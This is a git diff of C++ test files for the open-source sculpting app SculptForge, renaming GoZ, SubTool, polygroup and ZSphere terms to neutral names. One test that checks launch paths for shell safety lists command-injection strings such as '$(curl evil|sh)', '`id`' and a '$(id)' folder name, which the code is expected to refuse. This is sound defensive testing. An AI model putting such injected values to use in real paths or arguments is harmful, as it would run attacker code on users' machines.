+ CHECK(doc.bridgeName == "Sphere_1");
- // ZBrush sends two SubTools back: the first replaces the fresh scene (undoably), the second is added.
+ // classic sends two Parts back: the first replaces the fresh scene (undoably), the second is added.
Mesh second = makeIcosphere(1);
for (auto& p : second.positions) p += glm::vec3(3, 0, 0);
std::string err;
- CHECK(saveGoz((project / "Other.GoZ").string(), second, "Other", err));
+ CHECK(saveBridge((project / (std::string("Other") + bridgefile::kExt)).string(), second, "Other", err));
{
- std::ofstream f(root / "GoZBrush" / "GoZ_ObjectList.txt", std::ios::binary);
+ std::ofstream f(root / bridgefile::kInboxFolder / bridgefile::kObjectList, std::ios::binary);
f << (project / "Sphere_1").generic_string() << "\r\n" << (project / "Other").generic_string() << "\r\n";
}
Document back = makeDoc(makeIcosphere(0));
- r = reg.execute(back, "goz_receive", {{"folder", folder}});
+ r = reg.execute(back, "bridge_receive", {{"folder", folder}});
CHECK(r.ok && r.message.find("Sphere_1") != std::string::npos);
- CHECK(back.subtoolCount() == 2 && back.activeSubtool == 0);
- CHECK(back.subtools[0].name == "Sphere_1" && back.gozName == "Sphere_1");
- CHECK(back.subtools[1].name == "Other" && back.subtools[1].gozName == "Other");
+ CHECK(back.partCount() == 2 && back.activePart == 0);
+ CHECK(back.parts[0].name == "Sphere_1" && back.bridgeName == "Sphere_1");
+ CHECK(back.parts[1].name == "Other" && back.parts[1].bridgeName == "Other");
CHECK(back.mesh.vertexCount() == m.vertexCount() && back.mesh.triangleCount() == m.triangleCount());
- CHECK(back.subtoolMesh(1).triangleCount() == second.triangleCount());
- CHECK(back.mesh.mask.size() == back.mesh.vertexCount() && back.mesh.polygroups.size() == back.mesh.triangleCount());
+ CHECK(back.partMesh(1).triangleCount() == second.triangleCount());
+ CHECK(back.mesh.mask.size() == back.mesh.vertexCount() && back.mesh.facegroups.size() == back.mesh.triangleCount());
CHECK(back.mesh.uvs.size() == back.mesh.triangleCount() * 3);
CHECK(back.undo.canUndo());
- // Receiving again updates the same SubTools (matched by GoZ name) instead of adding more.
- r = reg.execute(back, "goz_receive", {{"folder", folder}});
- CHECK(r.ok && back.subtoolCount() == 2 && back.activeSubtool == 0);
- back.selectSubtool(1);
+ // Receiving again updates the same Parts (matched by Bridge name) instead of adding more.
+ r = reg.execute(back, "bridge_receive", {{"folder", folder}});
+ CHECK(r.ok && back.partCount() == 2 && back.activePart == 0);
+ back.selectPart(1);
CHECK(back.undo.canUndo() && back.mesh.triangleCount() == second.triangleCount());
- back.selectSubtool(0);
- // Sending both back writes one .GoZ per SubTool, listed in order.
- r = reg.execute(back, "goz_send", {{"folder", folder}, {"launch", false}});
+ back.selectPart(0);
+ // Sending both back writes one Bridge per Part, listed in order.
+ r = reg.execute(back, "bridge_send", {{"folder", folder}, {"launch", false}});
CHECK(r.ok);
- list = readFile((root / "GoZBrush" / "GoZ_ObjectList.txt").string());
+ list = readFile((root / bridgefile::kInboxFolder / bridgefile::kObjectList).string());
CHECK(std::string(list.begin(), list.end()) ==
(project / "Sphere_1").generic_string() + "\n" + (project / "Other").generic_string() + "\n");
// Missing object list explains what to do.
- fs::remove(root / "GoZBrush" / "GoZ_ObjectList.txt");
- r = reg.execute(back, "goz_receive", {{"folder", folder}});
- CHECK(!r.ok && r.message.find("GoZ") != std::string::npos);
+ fs::remove(root / bridgefile::kInboxFolder / bridgefile::kObjectList);
+ r = reg.execute(back, "bridge_receive", {{"folder", folder}});
+ CHECK(!r.ok && r.message.find(bridgefile::kObjectList) != std::string::npos);
fs::remove_all(root);
#if !defined(_WIN32) && !defined(__APPLE__)
- CHECK(gozDefaultRoot().empty());
- r = reg.execute(doc, "goz_send", {{"launch", false}});
+ CHECK(bridgeDefaultRoot().empty());
+ r = reg.execute(doc, "bridge_send", {{"launch", false}});
CHECK(!r.ok && r.message.find("Windows and macOS") != std::string::npos);
#endif
}
@@ -460,39 +444,39 @@ TEST(stl_is_millimetres_z_up) {
std::filesystem::remove(path);
}
-TEST(goz_large_polygroup_ids_stay_distinct) {
- // GoZ ids are 16-bit: ids past 65535 are renumbered, not truncated into other groups.
+TEST(bridge_large_facegroup_ids_stay_distinct) {
+ // Bridge ids are 16-bit: ids past 65535 are renumbered, not truncated into other groups.
Mesh m = makeIcosphere(2);
- m.ensurePolygroups();
- for (uint32_t t = 0; t < m.triangleCount(); ++t) m.polygroups[t] = t % 3 == 0 ? 1u : t % 3 == 1 ? 65536u : 65537u;
+ m.ensureFaceGroups();
+ for (uint32_t t = 0; t < m.triangleCount(); ++t) m.facegroups[t] = t % 3 == 0 ? 1u : t % 3 == 1 ? 65536u : 65537u;
Mesh r;
std::string err;
- CHECK(parseGoz(writeGoz(m, "Groups", GozWriteOptions{false}), r, err));
- CHECK(r.polygroups.size() == m.polygroups.size());
- bool same = r.polygroups.size() == m.polygroups.size();
- for (size_t a = 0; same && a < m.polygroups.size(); ++a)
+ CHECK(parseBridge(writeBridge(m, "Groups", BridgeWriteOptions{false}), r, err));
+ CHECK(r.facegroups.size() == m.facegroups.size());
+ bool same = r.facegroups.size() == m.facegroups.size();
+ for (size_t a = 0; same && a < m.facegroups.size(); ++a)
for (size_t b : {size_t(0), size_t(1), size_t(2)})
- same = same && ((m.polygroups[a] == m.polygroups[b]) == (r.polygroups[a] == r.polygroups[b]));
+ same = same && ((m.facegroups[a] == m.facegroups[b]) == (r.facegroups[a] == r.facegroups[b]));
CHECK(same); // the same partition into groups
- std::vector<uint32_t> ids = r.polygroups;
+ std::vector<uint32_t> ids = r.facegroups;
std::sort(ids.begin(), ids.end());
CHECK(std::unique(ids.begin(), ids.end()) - ids.begin() == 3);
}
-TEST(goz_send_refuses_shell_unsafe_launch_paths) {
+TEST(bridge_send_refuses_shell_unsafe_launch_paths) {
namespace fs = std::filesystem;
- CHECK(gozShellSafePath("/Applications/ZBrush 2024/ZBrush.app"));
- for (const char* bad : {"$(curl evil|sh)", "x\" & calc & \"", "`id`", "%COMSPEC%", "a\nb"}) CHECK(!gozShellSafePath(bad));
- const fs::path root = fs::temp_directory_path() / "sf_goz_unsafe";
+ CHECK(bridgeShellSafePath("/Applications/Sculpt App 2024/Sculpt App.app"));
+ for (const char* bad : {"$(curl evil|sh)", "x\" & calc & \"", "`id`", "%COMSPEC%", "a\nb"}) CHECK(!bridgeShellSafePath(bad));
+ const fs::path root = fs::temp_directory_path() / "sf_bridge_unsafe";
fs::remove_all(root);
CommandRegistry reg;
Document doc = makeDoc(makeIcosphere(1));
- CommandResult r = reg.execute(doc, "goz_send", {{"folder", root.string()}, {"zbrush", "$(curl evil|sh)"}});
- CHECK(!r.ok && !fs::exists(root / "GoZProjects")); // refused before anything is written or run
- r = reg.execute(doc, "goz_send", {{"folder", root.string()}, {"zbrush", (root / "calc").string()}});
- CHECK(!r.ok); // not a ZBrush
- r = reg.execute(doc, "goz_send", {{"folder", (root / "$(id)").string()}});
+ CommandResult r = reg.execute(doc, "bridge_send", {{"folder", root.string()}, {"app", "$(curl evil|sh)"}});
+ CHECK(!r.ok && !fs::exists(root / bridgefile::kProjectsFolder)); // refused before anything is written or run
+ r = reg.execute(doc, "bridge_send", {{"folder", root.string()}, {"app", (root / "calc").string()}});
+ CHECK(!r.ok); // not the other application's executable
+ r = reg.execute(doc, "bridge_send", {{"folder", (root / "$(id)").string()}});
CHECK(!r.ok);
- CHECK(reg.execute(doc, "goz_send", {{"folder", (root / "$(id)").string()}, {"launch", false}}).ok); // nothing launched
+ CHECK(reg.execute(doc, "bridge_send", {{"folder", (root / "$(id)").string()}, {"launch", false}}).ok); // nothing launched
fs::remove_all(root);
}
diff --git a/tests/test_brush_engine_0109.cpp b/tests/test_brush_engine_0109.cpp
index 8dc84a51..423f8ad1 100644
--- a/tests/test_brush_engine_0109.cpp
+++ b/tests/test_brush_engine_0109.cpp
@@ -8,7 +8,7 @@
#include "core/Benchmark.h"
#include "core/BrushAlpha.h"
#include "core/Micro.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include "core/Sculpt.h"
#include "core/Stroke.h"
@@ -53,7 +53,7 @@ float microFront(const Document& doc, float x, float y) {
} // namespace
TEST(clay_follows_intensity_and_pressure) {
- for (BrushType type : {BrushType::Clay, BrushType::ClayBuildup}) {
+ for (BrushType type : {BrushType::Clay, BrushType::ClayBlock}) {
const float i10 = clayStrokeHeight(type, 0.1f, 1.0f), i50 = clayStrokeHeight(type, 0.5f, 1.0f),
i100 = clayStrokeHeight(type, 1.0f, 1.0f);
CHECK(i10 > 0.0f);
@@ -153,7 +153,7 @@ TEST(smooth_straightens_face_group_borders_only) {
Document d = makeDoc(makePlane(64, 2.0f));
Mesh& m = d.mesh;
// A staircase border: group 1 above z = 0 or z = 0.0625, alternating every eighth of a unit along X.
- std::vector<uint32_t>& groups = m.ensurePolygroups();
+ std::vector<uint32_t>& groups = m.ensureFaceGroups();
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
const glm::uvec3 tr = m.triangles[t];
const glm::vec3 c = (m.positions[tr.x] + m.positions[tr.y] + m.positions[tr.z]) / 3.0f;
diff --git a/tests/test_brushes.cpp b/tests/test_brushes.cpp
index 8401737e..dd5aa82e 100644
--- a/tests/test_brushes.cpp
+++ b/tests/test_brushes.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// v0.2 brushes (DamStandard, ClayBuildup, SnakeHook, Trim, Layer, Nudge),
+// v0.2 brushes (Sharp Crease, Clay Block, SnakeHook, Trim, Layer, Nudge),
// alphas, stroke helpers (lazy mouse, spray, spacing) and brush_set_alpha.
#include "TestHarness.h"
@@ -55,15 +55,15 @@ glm::vec3 moved(const Document& d, const std::vector<glm::vec3>& before, uint32_
} // namespace
TEST(brush_names_cover_new_types) {
- CHECK(std::string(brushName(BrushType::DamStandard)) == "SharpCrease");
- CHECK(std::string(brushName(BrushType::ClayBuildup)) == "ClayBlock");
+ CHECK(std::string(brushName(BrushType::SharpCrease)) == "SharpCrease");
+ CHECK(std::string(brushName(BrushType::ClayBlock)) == "ClayBlock");
CHECK(std::string(brushName(BrushType::SnakeHook)) == "Tendril");
CHECK(std::string(brushName(BrushType::Trim)) == "Trim");
CHECK(std::string(brushName(BrushType::Layer)) == "Layer");
CHECK(std::string(brushName(BrushType::Nudge)) == "Nudge");
for (int i = 0; i < int(BrushType::Count); ++i) CHECK(std::string(brushName(BrushType(i))) != "?");
// Original brushes keep their slots (hotkeys 1-8, saved settings).
- CHECK(int(BrushType::Standard) == 0 && int(BrushType::Pinch) == 7 && int(BrushType::DamStandard) == 8);
+ CHECK(int(BrushType::Standard) == 0 && int(BrushType::Pinch) == 7 && int(BrushType::SharpCrease) == 8);
}
TEST(round_alpha_leaves_existing_brushes_unchanged) {
@@ -84,7 +84,7 @@ TEST(round_alpha_leaves_existing_brushes_unchanged) {
CHECK(std::abs(d.mesh.positions[nearest(d.mesh, glm::vec3(0))].y - 0.3f * 0.06f * 0.5f) < 1e-5f);
}
-// ZBrush Focal Shift: 0 leaves the falloff (and so every brush) exactly as before; below 0 the tip is broader
+// classic Focal Shift: 0 leaves the falloff (and so every brush) exactly as before; below 0 the tip is broader
// and harder, above 0 a softer point; the cursor's inner ring sits where the falloff is one half.
TEST(focal_shift_shapes_the_falloff) {
for (float d : {0.0f, 0.1f, 0.33f, 0.5f, 0.77f, 1.0f}) {
@@ -113,12 +113,12 @@ TEST(focal_shift_shapes_the_falloff) {
CHECK(c.mesh.positions[off].y < a.mesh.positions[off].y);
}
-TEST(dam_standard_carves_sharp_pinched_groove) {
+TEST(sharp_crease_carves_sharp_pinched_groove) {
Document d = planeDoc();
const auto before = d.mesh.positions;
DabParams p = dabAt(glm::vec3(0.0f));
p.strokeDelta = glm::vec3(0, 0, 0.05f); // stroke runs along +z
- stroke(d, BrushType::DamStandard, p);
+ stroke(d, BrushType::SharpCrease, p);
const uint32_t c = nearest(d.mesh, glm::vec3(0)), side = nearest(d.mesh, glm::vec3(0.15f, 0, 0));
const uint32_t along = nearest(d.mesh, glm::vec3(0, 0, 0.15f));
CHECK(moved(d, before, c).y < -0.005f); // carves inward
@@ -130,14 +130,14 @@ TEST(dam_standard_carves_sharp_pinched_groove) {
Document r = planeDoc();
p.invert = true;
- stroke(r, BrushType::DamStandard, p);
+ stroke(r, BrushType::SharpCrease, p);
CHECK(r.mesh.positions[c].y > 0.005f); // Alt raises a sharp ridge
}
-TEST(clay_buildup_is_square_and_flat_topped) {
+TEST(clay_block_is_square_and_flat_topped) {
Document d = planeDoc(), clay = planeDoc();
const DabParams p = dabAt(glm::vec3(0.0f));
- stroke(d, BrushType::ClayBuildup, p);
+ stroke(d, BrushType::ClayBlock, p);
stroke(clay, BrushType::Clay, p);
const uint32_t c = nearest(d.mesh, glm::vec3(0)), diag = nearest(d.mesh, glm::vec3(0.2f, 0, 0.2f));
const uint32_t mid = nearest(d.mesh, glm::vec3(0.1f, 0, 0));
@@ -147,7 +147,7 @@ TEST(clay_buildup_is_square_and_flat_topped) {
CHECK(d.mesh.positions[diag].y > 0.6f * hc); // square: corners filled
CHECK(clay.mesh.positions[diag].y < 0.3f * clay.mesh.positions[c].y); // round Clay is not
// Builds up over strokes.
- stroke(d, BrushType::ClayBuildup, p);
+ stroke(d, BrushType::ClayBlock, p);
CHECK(d.mesh.positions[c].y > 1.5f * hc);
// Nothing outside the rounded square moves.
CHECK(d.mesh.positions[nearest(d.mesh, glm::vec3(0.45f, 0, 0))].y == 0.0f);
@@ -251,7 +251,7 @@ TEST(nudge_slides_along_the_surface) {
}
TEST(new_brushes_respect_mask_and_symmetry) {
- const BrushType types[] = {BrushType::DamStandard, BrushType::ClayBuildup, BrushType::SnakeHook,
+ const BrushType types[] = {BrushType::SharpCrease, BrushType::ClayBlock, BrushType::SnakeHook,
BrushType::Trim, BrushType::Layer, BrushType::Nudge};
for (BrushType type : types) {
DabParams p = dabAt(glm::vec3(0.5f, 0, 0), 0.3f, 1.0f);
@@ -371,7 +371,7 @@ TEST(alpha_shapes_and_orients_dabs) {
CHECK(r.mesh.positions[nearest(r.mesh, glm::vec3(0.12f, 0, 0))].y == 0.0f);
}
-// #60: Focal Shift shapes alpha brushes as in ZBrush. The alpha is multiplied by a round falloff reaching the
+// #60: Focal Shift shapes alpha brushes. The alpha is multiplied by a round falloff reaching the
// stamp's corners: -100 shows the whole square, 0 rounds its corners into a soft mound, +100 leaves a small point.
TEST(focal_shift_shapes_alpha_dabs) {
CHECK(alphaFalloff(0.0f, 1.0f, 0.0f) == 1.0f);
@@ -401,7 +401,7 @@ TEST(focal_shift_shapes_alpha_dabs) {
f.centre = d.mesh.positions[nearest(d.mesh, glm::vec3(0))].y;
return f;
};
- for (BrushType type : {BrushType::Standard, BrushType::ClayBuildup}) {
+ for (BrushType type : {BrushType::Standard, BrushType::ClayBlock}) {
const Footprint hard = dabWith(type, -1.0f), soft = dabWith(type, 0.0f), point = dabWith(type, 1.0f);
CHECK(hard.centre > 0.0f && soft.centre > 0.0f && point.centre > 0.0f);
CHECK(hard.moved > soft.moved && soft.moved > point.moved);
@@ -412,8 +412,8 @@ TEST(focal_shift_shapes_alpha_dabs) {
}
}
-// #60: Focal Shift reaches the built-in square ClayBuildup tip and custom (recipe) brushes; 0 keeps their own tip.
-TEST(focal_shift_reaches_clay_buildup_and_recipes) {
+// #60: Focal Shift reaches the built-in square Clay Block tip and custom (recipe) brushes; 0 keeps their own tip.
+TEST(focal_shift_reaches_clay_block_and_recipes) {
auto height = [&](float focal, bool recipe, const glm::vec3& at) {
Document d = planeDoc();
DabParams p = dabAt(glm::vec3(0));
@@ -425,7 +425,7 @@ TEST(focal_shift_reaches_clay_buildup_and_recipes) {
d.sculptor.dabRecipe(d.mesh, d.bvh, r, p, kNoSymmetry);
d.undo.push(d.sculptor.endStroke());
} else {
- stroke(d, BrushType::ClayBuildup, p);
+ stroke(d, BrushType::ClayBlock, p);
}
const uint32_t v = nearest(d.mesh, at);
return d.mesh.positions[v].y / std::max(d.mesh.positions[nearest(d.mesh, glm::vec3(0))].y, 1e-9f);
@@ -438,9 +438,9 @@ TEST(focal_shift_reaches_clay_buildup_and_recipes) {
// 0 is bit-identical to no Focal Shift at all (the brush's own tip).
Document a = planeDoc(), b = planeDoc();
DabParams p = dabAt(glm::vec3(0));
- stroke(a, BrushType::ClayBuildup, p);
+ stroke(a, BrushType::ClayBlock, p);
p.focal = 0.0f;
- stroke(b, BrushType::ClayBuildup, p);
+ stroke(b, BrushType::ClayBlock, p);
CHECK(a.mesh.positions == b.mesh.positions);
}
diff --git a/tests/test_camera.cpp b/tests/test_camera.cpp
index e3d9e1ae..e0e8ce1d 100644
--- a/tests/test_camera.cpp
+++ b/tests/test_camera.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// The orbit camera: turntable and free (ZBrush) rotation, snapping to axis views.
+// The orbit camera: turntable and free rotation, snapping to axis views.
#include "TestHarness.h"
#include "render/Camera.h"
diff --git a/tests/test_close_holes.cpp b/tests/test_close_holes.cpp
index 65c3158e..dc595cfd 100644
--- a/tests/test_close_holes.cpp
+++ b/tests/test_close_holes.cpp
@@ -79,8 +79,8 @@ TEST(close_holes_two_holes_in_a_sphere) {
const double around = meanEdge(open, 0), patch = meanEdge(d.mesh, t0);
CHECK(patch > 0.6 * around && patch < 1.5 * around);
// Each patch is its own new face group.
- CHECK(d.mesh.hasPolygroups());
- CHECK(d.mesh.polygroupAt(0) == 0 && d.mesh.polygroupAt(uint32_t(d.mesh.triangleCount() - 1)) == 1);
+ CHECK(d.mesh.hasFaceGroups());
+ CHECK(d.mesh.facegroupAt(0) == 0 && d.mesh.facegroupAt(uint32_t(d.mesh.triangleCount() - 1)) == 1);
// Undo brings the holes back; a second Close Holes finds none.
CHECK(registry().execute(d, "undo").ok);
CHECK(d.mesh.triangleCount() == t0);
@@ -127,7 +127,7 @@ TEST(close_holes_size_filter_and_attributes) {
const size_t small = std::min(loops[0].size(), loops[1].size());
open.ensureMask(0.5f);
open.ensureColors(glm::vec3(0.2f, 0.4f, 0.6f));
- open.ensurePolygroups(7);
+ open.ensureFaceGroups(7);
open.uvs.assign(open.triangleCount() * 3, glm::vec2(0.25f));
Document d = makeDoc(open);
const CommandResult r = registry().execute(d, "close_holes", {{"max_edges", double(small)}});
@@ -136,8 +136,8 @@ TEST(close_holes_size_filter_and_attributes) {
CHECK(boundaryLoops(d.mesh).size() == 1);
const Mesh& m = d.mesh;
CHECK(m.mask.size() == m.vertexCount() && m.colors.size() == m.vertexCount());
- CHECK(m.polygroups.size() == m.triangleCount() && m.uvs.size() == m.triangleCount() * 3);
- CHECK(m.polygroupAt(uint32_t(m.triangleCount() - 1)) == 8);
+ CHECK(m.facegroups.size() == m.triangleCount() && m.uvs.size() == m.triangleCount() * 3);
+ CHECK(m.facegroupAt(uint32_t(m.triangleCount() - 1)) == 8);
CHECK(m.mask.back() == 0.0f);
CHECK(glm::length(m.colors.back() - glm::vec3(0.2f, 0.4f, 0.6f)) < 1e-4f);
// Forge Spheres and empty Parts are refused.
diff --git a/tests/test_community_0106.cpp b/tests/test_community_0106.cpp
index 938f2d0a..71cc2f4c 100644
--- a/tests/test_community_0106.cpp
+++ b/tests/test_community_0106.cpp
@@ -11,7 +11,7 @@
#include "core/Deform.h"
#include "core/Primitives.h"
#include "core/Sculpt.h"
-#include "core/ZSpheres.h"
+#include "core/ForgeSpheres.h"
#include <algorithm>
#include <chrono>
@@ -436,22 +436,22 @@ TEST(deform_large_mesh_timing) {
// --- Forge Spheres: Set as root --------------------------------------------------------------------------
-TEST(zspheres_set_root) {
+TEST(forgespheres_set_root) {
// Root 0, an arm 1 from it, a hand 2 from the arm, a head 3 from the root.
- std::vector<ZSphere> s{{vec3(0.0f), 0.5f, -1}, {vec3(1, 0, 0), 0.3f, 0}, {vec3(2, 0, 0), 0.2f, 1}, {vec3(0, 1, 0), 0.3f, 0}};
- const std::vector<ZSphere> before = s;
- CHECK(!zsphereSetRoot(s, 0) && !zsphereSetRoot(s, 9));
- CHECK(zsphereSetRoot(s, 2));
- CHECK(zspheresValidate(s).empty());
+ std::vector<ForgeSphere> s{{vec3(0.0f), 0.5f, -1}, {vec3(1, 0, 0), 0.3f, 0}, {vec3(2, 0, 0), 0.2f, 1}, {vec3(0, 1, 0), 0.3f, 0}};
+ const std::vector<ForgeSphere> before = s;
+ CHECK(!forgesphereSetRoot(s, 0) && !forgesphereSetRoot(s, 9));
+ CHECK(forgesphereSetRoot(s, 2));
+ CHECK(forgespheresValidate(s).empty());
// The hand is the root now (index 0), the old root took its index (2).
CHECK(s[0].center == before[2].center && s[0].parent == -1);
CHECK(s[2].center == before[0].center && s[2].parent == 1); // the old root hangs from the arm
CHECK(s[1].parent == 0); // the arm from the hand
CHECK(s[3].parent == 2); // the head still from the old root
// Same spheres, same links (as unordered pairs of centres).
- auto links = [](const std::vector<ZSphere>& z) {
+ auto links = [](const std::vector<ForgeSphere>& z) {
std::vector<std::pair<float, float>> out;
- for (const ZSphere& a : z)
+ for (const ForgeSphere& a : z)
if (a.parent >= 0) {
const float p = a.center.x + 10.0f * a.center.y, q = z[size_t(a.parent)].center.x + 10.0f * z[size_t(a.parent)].center.y;
out.push_back({std::min(p, q), std::max(p, q)});
@@ -463,11 +463,11 @@ TEST(zspheres_set_root) {
// The command, with undo.
Document doc;
CommandRegistry reg;
- CHECK(reg.execute(doc, "zsphere_new", {{"radius", 0.5}}).ok);
- CHECK(reg.execute(doc, "zsphere_add", {{"parent", 0.0}, {"position", std::string("1,0,0")}, {"radius", 0.25}}).ok);
- CHECK(!reg.execute(doc, "zsphere_set_root", {{"index", 0.0}}).ok);
- CHECK(reg.execute(doc, "zsphere_set_root", {{"index", 1.0}}).ok);
- CHECK(doc.mesh.zspheres[0].center.x == 1.0f && doc.mesh.zspheres[1].parent == 0);
+ CHECK(reg.execute(doc, "forgesphere_new", {{"radius", 0.5}}).ok);
+ CHECK(reg.execute(doc, "forgesphere_add", {{"parent", 0.0}, {"position", std::string("1,0,0")}, {"radius", 0.25}}).ok);
+ CHECK(!reg.execute(doc, "forgesphere_set_root", {{"index", 0.0}}).ok);
+ CHECK(reg.execute(doc, "forgesphere_set_root", {{"index", 1.0}}).ok);
+ CHECK(doc.mesh.forgespheres[0].center.x == 1.0f && doc.mesh.forgespheres[1].parent == 0);
CHECK(doc.undo.undo(doc.mesh, doc.bvh));
- CHECK(doc.mesh.zspheres[0].center.x == 0.0f);
+ CHECK(doc.mesh.forgespheres[0].center.x == 0.0f);
}
diff --git a/tests/test_core.cpp b/tests/test_core.cpp
index 1be4bdcf..83b11555 100644
--- a/tests/test_core.cpp
+++ b/tests/test_core.cpp
@@ -1128,8 +1128,8 @@ TEST(splat_commands) {
CHECK(reg.execute(d, "splat_transform", {{"rotate_x", 180.0}, {"fit", true}}).ok);
CHECK(reg.execute(d, "splat_clean", {{"min_opacity", 0.5}}).ok);
CHECK(reg.execute(d, "splat_to_mesh", {{"resolution", 48.0}}).ok && isClosedManifold(d.mesh));
- // Make sculptable adds SubTools (the hidden scan, the result) and leaves the sculpt as it was.
- CHECK(d.subtoolCount() == 3 && d.subtoolMesh(0).triangleCount() == 1280);
+ // Make sculptable adds Parts (the hidden scan, the result) and leaves the sculpt as it was.
+ CHECK(d.partCount() == 3 && d.partMesh(0).triangleCount() == 1280);
for (const char* ext : {".ply", ".splat", ".glb", ".usda", ".usdz"}) {
const std::string path = tempPath((std::string("sculptforge_cmd_splats") + ext).c_str());
CHECK(reg.execute(d, "splat_save", {{"path", path}}).ok);
diff --git a/tests/test_cut.cpp b/tests/test_cut.cpp
index 3dd14125..5b0fcef8 100644
--- a/tests/test_cut.cpp
+++ b/tests/test_cut.cpp
@@ -90,7 +90,7 @@ TEST(cut_line_away_halves_sphere) {
const double v1 = volume(d.mesh);
CHECK(v1 > 0.4 * v0 && v1 < 0.5 * v0); // a bit under half: the line is right of centre
// The cap is a face group of its own.
- CHECK(d.mesh.hasPolygroups());
+ CHECK(d.mesh.hasFaceGroups());
// Flip keeps the other half.
Document e = makeDoc(makeIcosphere(4));
CHECK(cut(e, "line", "0.013 -2 0.013 2", "away", {{"flip", true}}).ok);
@@ -206,9 +206,9 @@ TEST(cut_perspective_view_and_symmetry) {
TEST(cut_two_part_scene_cuts_active_part_only) {
Document d = makeDoc(makeIcosphere(4));
- CHECK(registry().execute(d, "subtool_append", {{"type", std::string("sphere")}}).ok);
- CHECK(d.subtools.size() == 2 && d.activeSubtool == 1);
- const Mesh other = d.subtoolMesh(0);
+ CHECK(registry().execute(d, "part_append", {{"type", std::string("sphere")}}).ok);
+ CHECK(d.parts.size() == 2 && d.activePart == 1);
+ const Mesh other = d.partMesh(0);
const double v0 = volume(d.mesh);
const AABB b = d.mesh.bounds();
// The default view frames the active Part: a line through its middle.
@@ -217,15 +217,15 @@ TEST(cut_two_part_scene_cuts_active_part_only) {
CHECK(volume(d.mesh) < 0.6 * v0);
for (const glm::vec3& p : d.mesh.positions) CHECK(p.x > b.center().x - 0.01f * b.extent().x);
// The other Part is untouched.
- CHECK(d.subtoolMesh(0).triangleCount() == other.triangleCount());
- CHECK(d.subtoolMesh(0).positions == other.positions);
+ CHECK(d.partMesh(0).triangleCount() == other.triangleCount());
+ CHECK(d.partMesh(0).positions == other.positions);
// Undo and redo.
CHECK(registry().execute(d, "undo").ok);
CHECK(std::abs(volume(d.mesh) - v0) < 1e-6);
CHECK(registry().execute(d, "redo").ok);
CHECK(volume(d.mesh) < 0.6 * v0);
// Every mode on the other Part too.
- CHECK(registry().execute(d, "subtool_select", {{"index", 0.0}}).ok);
+ CHECK(registry().execute(d, "part_select", {{"index", 0.0}}).ok);
for (const char* mode : {"away", "in", "add"}) {
const size_t before = d.undo.undoCount();
CHECK(cut(d, "rect", "-0.31 -0.29 0.33 0.27", mode, {{"depth", 0.15}}).ok);
diff --git a/tests/test_divide_valence.cpp b/tests/test_divide_valence.cpp
index dc1e442b..7d856c8e 100644
--- a/tests/test_divide_valence.cpp
+++ b/tests/test_divide_valence.cpp
@@ -3,7 +3,7 @@
//
// Divide on meshes with high-valence vertices (#16): Blender's cylinder with Triangle Fan caps (the fan centre has
// one edge per side) and its UV sphere (poles with one edge per segment) crashed Divide from 22 sides up. Built
-// here as Blender builds them, through OBJ and through the Blender Bridge (.GoZ + manifest), then divided three
+// here as Blender builds them, through OBJ and through the Blender Bridge (Bridge + manifest), then divided three
// times; the levels' adjacency must match a plain rebuild and stepping down and up must keep the shape.
#include "TestHarness.h"
@@ -11,7 +11,7 @@
#include "core/Multires.h"
#include "core/Primitives.h"
#include "io/BlenderBridge.h"
-#include "io/GozIO.h"
+#include "io/BridgeIO.h"
#include "io/ObjIO.h"
#include <algorithm>
@@ -172,7 +172,7 @@ TEST(divide_uv_sphere) {
}
TEST(divide_after_blender_bridge) {
- // The issue's path: Blender sends the mesh through the bridge (a .GoZ and a manifest), then Ctrl+D.
+ // The issue's path: Blender sends the mesh through the bridge (a Bridge and a manifest), then Ctrl+D.
const fs::path root = fs::temp_directory_path() / "sf_divide_bridge";
fs::remove_all(root);
const fs::path inbox = root / "to_sculptforge";
@@ -180,17 +180,17 @@ TEST(divide_after_blender_bridge) {
std::string err;
Mesh cylinder, sphere;
CHECK(loadObjText(cylinderObj(22, true), cylinder));
- CHECK(saveGoz((inbox / "r1_000.GoZ").string(), cylinder, "Cylinder", err));
+ CHECK(saveBridge((inbox / "r1_000.Bridge").string(), cylinder, "Cylinder", err));
CHECK(loadObjText(uvSphereObj(32, 16), sphere));
- CHECK(saveGoz((inbox / "r1_001.GoZ").string(), sphere, "Sphere", err));
+ CHECK(saveBridge((inbox / "r1_001.Bridge").string(), sphere, "Sphere", err));
std::ofstream(inbox / "manifest.json") << R"({"format": "sculptforge-bridge", "version": 1, "revision": 1,
- "sender": "blender", "objects": [{"name": "Cylinder", "file": "r1_000.GoZ"},
- {"name": "Sphere", "file": "r1_001.GoZ"}]})";
+ "sender": "blender", "objects": [{"name": "Cylinder", "file": "r1_000.Bridge"},
+ {"name": "Sphere", "file": "r1_001.Bridge"}]})";
Document d = makeDoc(makeCube(2));
CHECK(registry().execute(d, "blender_receive", {{"folder", root.string()}}).ok);
- CHECK(d.subtoolCount() == 2);
+ CHECK(d.partCount() == 2);
CHECK(divideThrice(d, "bridge cylinder 22"));
- d.selectSubtool(1);
+ d.selectPart(1);
CHECK(divideThrice(d, "bridge uv sphere"));
fs::remove_all(root);
}
diff --git a/tests/test_dyntopo.cpp b/tests/test_dyntopo.cpp
index fc7b2b0f..de0530be 100644
--- a/tests/test_dyntopo.cpp
+++ b/tests/test_dyntopo.cpp
@@ -4,7 +4,7 @@
// Dynamic topology (core/Dyntopo.h): strokes remesh the surface under the brush and leave a valid mesh
// (manifold, no degenerate or flipped triangles, Euler characteristic kept, adjacency and BVH matching a fresh
// build) after every dab; symmetry makes mirrored topology; undo and redo restore exactly; attributes are
-// carried; boundaries, polygroup borders, masks and subdivision levels are respected.
+// carried; boundaries, face group borders, masks and subdivision levels are respected.
#include "TestHarness.h"
#include "core/Commands.h"
@@ -417,12 +417,12 @@ TEST(dyntopo_carries_attributes_and_drops_uvs) {
Document d = sphereDoc(2);
Mesh& m = d.mesh;
m.ensureColors();
- m.ensurePolygroups();
+ m.ensureFaceGroups();
m.uvs.assign(m.triangleCount() * 3, glm::vec2(0.5f));
for (uint32_t v = 0; v < m.vertexCount(); ++v) m.colors[v] = glm::vec3(m.positions[v].x * 0.5f + 0.5f, 0.2f, 0.1f);
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
const glm::uvec3 tri = m.triangles[t];
